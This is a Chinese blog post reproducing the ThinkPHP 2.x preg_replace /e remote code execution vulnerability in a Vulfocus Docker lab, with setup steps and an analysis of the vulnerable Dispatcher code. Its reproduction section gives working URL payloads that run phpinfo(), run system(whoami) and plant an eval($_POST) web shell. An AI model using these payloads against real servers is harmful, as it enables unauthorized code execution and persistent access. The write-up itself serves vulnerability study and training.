ThinkPHP 2.x 任意代码执行漏洞复现

0x00 前言

前段时间看到一个Vulfocus的漏洞集成平台,今天翻出来看了下,也用平台搭建了一个环境进行复现

 

0x01 平台安装

1、拉取镜像并运行

docker pull vulfocus/vulfocus:latest    //拉取镜像
docker run -d -p 80:80 -v /var/run/docker.sock:/var/run/docker.sock  -e VUL_IP=xxx.xxx.xxx.xxx(服务器IP) vulfocus/vulfocus

访问平台,默认用户名密码admin/admin

2、添加漏洞镜像

在网站https://hub.docker.com/r/vulfocus寻找需要的漏洞镜像,在服务器使用docker拉取镜像

登录后在镜像管理-添加-本地导入中添加漏洞镜像

3、启动环境

添加成功后,在首页即可启动对应的漏洞环境

访问运行的环境

 

0x02 漏洞概述

ThinkPHP 2.x版本中,使用preg_replace的/e模式匹配路由:

$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));

导致用户的输入参数被插入双引号中执行,造成任意代码执行漏洞

 

0x03 漏洞复现

1、查询phpinfo()

payload:

/index.php?s=/index/index/xxx/${phpinfo()}

2、任意代码执行

payload:

/index.php?s=/index/index/xxx/${system(whoami)}

 3、菜刀连接

payload:

/index.php/module/action/param1/${@print(eval($_POST[c]))}  //一开始我用菜刀没办法连接,换了蚁剑才连接上

 

0x04 漏洞分析

存在漏洞的文件

/ThinkPHP/Lib/Think/Util/Dispatcher.class.php

漏洞代码位置

在preg_replace()函数中使用正则表达式的/e修饰符时,preg_replace的第二个参数会被当做php代码执行

如:

<?php
$a = 'Clown';
$b = preg_replace('/\d/e', 'print(xxx);', $a);
echo $b;
?>

执行结果:

 虽然报错了,但还是执行了print(xxx)

 $var[\'\\1\']="\\2";是对数组进行操作,将之前第一个值作为新数组的键,将第二个值作为新数组的值

<?php
$var = array();
$b='a/b/c/d/e/f';
preg_replace("/(\w+)\/([^\/\/])/ies",$a='$var[\'\\1\']="\\2";',$b);
print_r($var);
?>

执行结果:

从结果可以看到,是取出两个参数,第一个作为键,第二个作为值

根据这个特性,就可以构造代码执行的语句

 

 

 

参考链接

https://github.com/fofapro/vulfocus

https://www.freebuf.com/column/223149.html

posted @ 2020-05-31 18:23  Cl0wn  阅读(1341)  评论(0编辑  收藏  举报